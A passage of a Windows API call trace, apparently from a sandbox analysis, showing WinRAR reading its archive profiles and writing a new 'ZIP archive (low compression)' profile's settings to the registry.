dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.362] RegSetValueExW (in: hKey=0x164, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.362] RegCloseKey (hKey=0x164) returned 0x0 [0052.362] GetLastError () returned 0x0 [0052.362] SetLastError (dwErrCode=0x0) [0052.362] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.362] RegSetValueExW (in: hKey=0x164, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0x18b090*, cbData=0xc0 | out: lpData=0x18b090*) returned 0x0 [0052.362] RegCloseKey (hKey=0x164) returned 0x0 [0052.362] GetCurrentProcess () returned 0xffffffffffffffff [0052.362] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698 | out: lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698) returned 1 [0052.362] GetCurrentProcess () returned 0xffffffffffffffff [0052.362] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8 | out: lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8) returned 1 [0052.362] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2a0 | out: phkResult=0x18c2a0*=0x164) returned 0x0 [0052.363] RegQueryValueExW (in: hKey=0x164, lpValueName="SMP", lpReserved=0x0, lpType=0x18c704, lpData=0x18c700, lpcbData=0x18c738*=0x4 | out: lpType=0x18c704*=0x0, lpData=0x18c700*=0x1, lpcbData=0x18c738*=0x4) returned 0x2 [0052.363] RegCloseKey (hKey=0x164) returned 0x0 [0052.363] LoadStringW (in: hInstance=0x13f160000, uID=0x3fa, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="ZIP archive (low compression)") returned 0x1d [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.363] RegCloseKey (hKey=0x164) returned 0x0 [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.363] RegCloseKey (hKey=0x164) returned 0x0 [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.363] RegCloseKey (hKey=0x164) returned 0x0 [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] GetLastError () returned 0x0 [0052.363] SetLastError (dwErrCode=0x0) [0052.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.363] RegCloseKey (hKey=0x164) returned 0x0 [0052.363] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x0) returned 0x2 [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.364] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Default Profile", lpcbData=0x18a790*=0x20) returned 0x0 [0052.364] RegCloseKey (hKey=0x164) returned 0x0 [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.364] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Create e-mail attachment", lpcbData=0x18a790*=0x32) returned 0x0 [0052.364] RegCloseKey (hKey=0x164) returned 0x0 [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.364] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Backup selected files", lpcbData=0x18a790*=0x2c) returned 0x0 [0052.364] RegCloseKey (hKey=0x164) returned 0x0 [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] GetLastError () returned 0x0 [0052.364] SetLastError (dwErrCode=0x0) [0052.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.365] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Create 10 MB volumes", lpcbData=0x18a790*=0x2a) returned 0x0 [0052.365] RegCloseKey (hKey=0x164) returned 0x0 [0052.365] GetLastError () returned 0x0 [0052.365] SetLastError (dwErrCode=0x0) [0052.365] GetLastError () returned 0x0 [0052.365] SetLastError (dwErrCode=0x0) [0052.365] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x1) returned 0x0 [0052.365] RegSetValueExW (in: hKey=0x164, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="ZIP archive (low compression)", cbData=0x3c | out: lpData="ZIP archive (low compression)") returned 0x0 [0052.365] RegCloseKey (hKey=0x164) returned 0x0 [0052.365] GetLastError () returned 0x0 [0052.365] SetLastError (dwErrCode=0x0) [0052.365] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.365] RegSetValueExW (in: hKey=0x164, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.365] RegCloseKey (hKey=0x164) returned 0x0 [0052.365] GetLastError () returned 0x0 [0052.365] SetLastError (dwErrCode=0x0) [0052.365] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.365] RegDeleteValueW (hKey=0x164, lpValueName="ArcName") returned 0x2 [0052.365] RegCloseKey (hKey=0x164) returned 0x0 [0052.365] GetLastError () returned 0x0 [0052.365] SetLastError (dwErrCode=0x0) [0052.365] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.365] RegDeleteValueW (hKey=0x164, lpValueName="FileNames") returned 0x2 [0052.365] RegCloseKey (hKey=0x164) returned 0x0 [0052.365] GetLastError () returned 0x0 [0052.366] SetLastError (dwErrCode=0x0) [0052.366] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.366] RegSetValueExW (in: hKey=0x164, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.366] RegCloseKey (hKey=0x164) returned 0x0 [0052.366] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.366] GetLastError () returned 0x0 [0052.366] SetLastError (dwErrCode=0x0) [0052.366] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.366] RegSetValueExW (in: hKey=0x164, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.366] RegCloseKey (hKey=0x164) returned 0x0 [0052.366] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.366] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.366] GetLastError () returned 0x0 [0052.366] SetLastError (dwErrCode=0x0) [0052.366] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.366] RegSetValueExW (in: hKey=0x164, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.366] RegCloseKey (hKey=0x164) returned 0x0 [0052.366] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.366] GetLastError () returned 0x0 [0052.366] SetLastError (dwErrCode=0x0) [0052.366] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.366] RegSetValueExW (in: hKey=0x164, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.366] RegCloseKey (hKey=0x164) returned 0x0 [0052.366] GetLastError () returned 0x0 [0052.366] SetLastError (dwErrCode=0x0) [0052.367] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.367] RegSetValueExW (in: hKey=0x164, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.367] RegCloseKey (hKey=0x164) returned 0x0 [0052.367] GetLastError () returned 0x0 [0052.367] SetLastError (dwErrCode=0x0) [0052.367] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.367] RegSetValueExW (in: hKey=0x164, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.367] RegCloseKey (hKey=0x164) returned 0x0 [0052.367] GetLastError () returned 0x0 [0052.367] SetLastError (dwErrCode=0x0) [0052.367] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.367] RegDeleteValueW (hKey=0x164, lpValueName="SFX") returned 0x2 [0052.367] RegCloseKey (hKey=0x164) returned 0x0 [0052.367] GetLastError () returned 0x0 [0052.367] SetLastError (dwErrCode=0x0) [0052.367] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.367] RegSetValueExW (in: hKey=0x164, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.367] RegCloseKey (hKey=0x164) returned 0x0 [0052.367] GetLastError () returned 0x0 [0052.367] SetLastError (dwErrCode=0x0) [0052.367] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.367] RegSetValueExW (in: hKey=0x164, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.367] RegCloseKey (hKey=0x164) returned 0x0 [0052.367] GetLastError () returned 0x0 [0052.368] SetLastError (dwErrCode=0x0) [0052.368] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.368] RegSetValueExW (in: hKey=0x164, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.368] RegCloseKey (hKey=0x164) returned 0x0 [0052.368] GetLastError () returned 0x0 [0052.368] SetLastError (dwErrCode=0x0) [0052.368] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.368] RegSetValueExW (in: hKey=0x164, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.368] RegCloseKey (hKey=0x164) returned 0x0 [0052.368] GetLastError () returned 0x0 [0052.368] SetLastError (dwErrCode=0x0) [0052.368] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.368] RegSetValueExW (in: hKey=0x164, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x2 | out: lpData=0x13f26f128*) returned 0x0 [0052.368] RegCloseKey (hKey=0x164) returned 0x0 [0052.368] GetLastError () returned 0x0 [0052.368] SetLastError (dwErrCode=0x0) [0052.368] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.368] RegSetValueExW (in: hKey=0x164, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0052.368] RegCloseKey (hKey=0x164) returned 0x0 [0052.368] GetLastError () returned 0x0 [0052.368] SetLastError (dwErrCode=0x0) [0052.368] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.368] RegSetValueExW (in: hKey=0x164, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2, cbData=0x4 | out: lpData=0x18b058*=0x2) returned 0x0 [0052.369] RegCloseKey (hKey=0x164) returned 0x0 [0052.369] GetLastError () returned 0x0 [0052.369] SetLastError (dwErrCode=0x0) [0052.369] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.369] RegSetValueExW (in: hKey=0x164, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.369] RegCloseKey (hKey=0x164) returned 0x0 [0052.369] GetLastError () returned 0x0 [0052.369] SetLastError (dwErrCode=0x0) [0052.369] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.369] RegSetValueExW (in: hKey=0x164, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.369] RegCloseKey (hKey=0x164) returned 0x0 [0052.369] GetLastError () returned 0x0 [0052.369] SetLastError (dwErrCode=0x0) [0052.369] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.369] RegSetValueExW (in: hKey=0x164, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.369] RegCloseKey (hKey=0x164) returned 0x0 [0052.369] GetLastError () returned 0x0 [0052.369] SetLastError (dwErrCode=0x0) [0052.369] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.369] RegSetValueExW (in: hKey=0x164, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.369] RegCloseKey (hKey=0x164) returned 0x0 [0052.369] GetLastError () returned 0x0 [0052.370] SetLastError (dwErrCode=0x0) [0052.370] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.370] RegSetValueExW (in: hKey=0x164, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.370] RegCloseKey (hKey=0x164) returned 0x0 [0052.370] GetLastError () returned 0x0 [0052.370] SetLastError (dwErrCode=0x0) [0052.370] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.370] RegSetValueExW (in: hKey=0x164, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.370] RegCloseKey (hKey=0x164) returned 0x0 [0052.370] GetLastError () returned 0x0 [0052.370] SetLastError (dwErrCode=0x0) [0052.370] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.370] RegSetValueExW (in: hKey=0x164, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.370] RegCloseKey (hKey=0x164) returned 0x0 [0052.370] GetLastError () returned 0x0 [0052.370] SetLastError (dwErrCode=0x0) [0052.370] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.370] RegSetValueExW (in: hKey=0x164, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.370] RegCloseKey (hKey=0x164) returned 0x0 [0052.370] GetLastError () returned 0x0 [0052.370] SetLastError (dwErrCode=0x0) [0052.370] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.370] RegSetValueExW (in: hKey=0x164, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.371] RegCloseKey (hKey=0x164) returned 0x0 [0052.371] GetLastError () returned 0x0 [0052.371] SetLastError (dwErrCode=0x0) [0052.618] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.618] RegSetValueExW (in: hKey=0x164, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.618] RegCloseKey (hKey=0x164) returned 0x0 [0052.618] GetLastError () returned 0x0 [0052.618] SetLastError (dwErrCode=0x0) [0052.618] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.619] RegSetValueExW (in: hKey=0x164, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.619] RegCloseKey (hKey=0x164) returned 0x0 [0052.619] GetLastError () returned 0x0 [0052.619] SetLastError (dwErrCode=0x0) [0052.619] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.619] RegSetValueExW (in: hKey=0x164, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.619] RegCloseKey (hKey=0x164) returned 0x0 [0052.619] GetLastError () returned 0x0 [0052.619] SetLastError (dwErrCode=0x0) [0052.619] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.619] RegSetValueExW (in: hKey=0x164, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.619] RegCloseKey (hKey=0x164) returned 0x0 [0052.619] GetLastError () returned 0x0 [0052.619] SetLastError (dwErrCode=0x0) [0052.619] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, 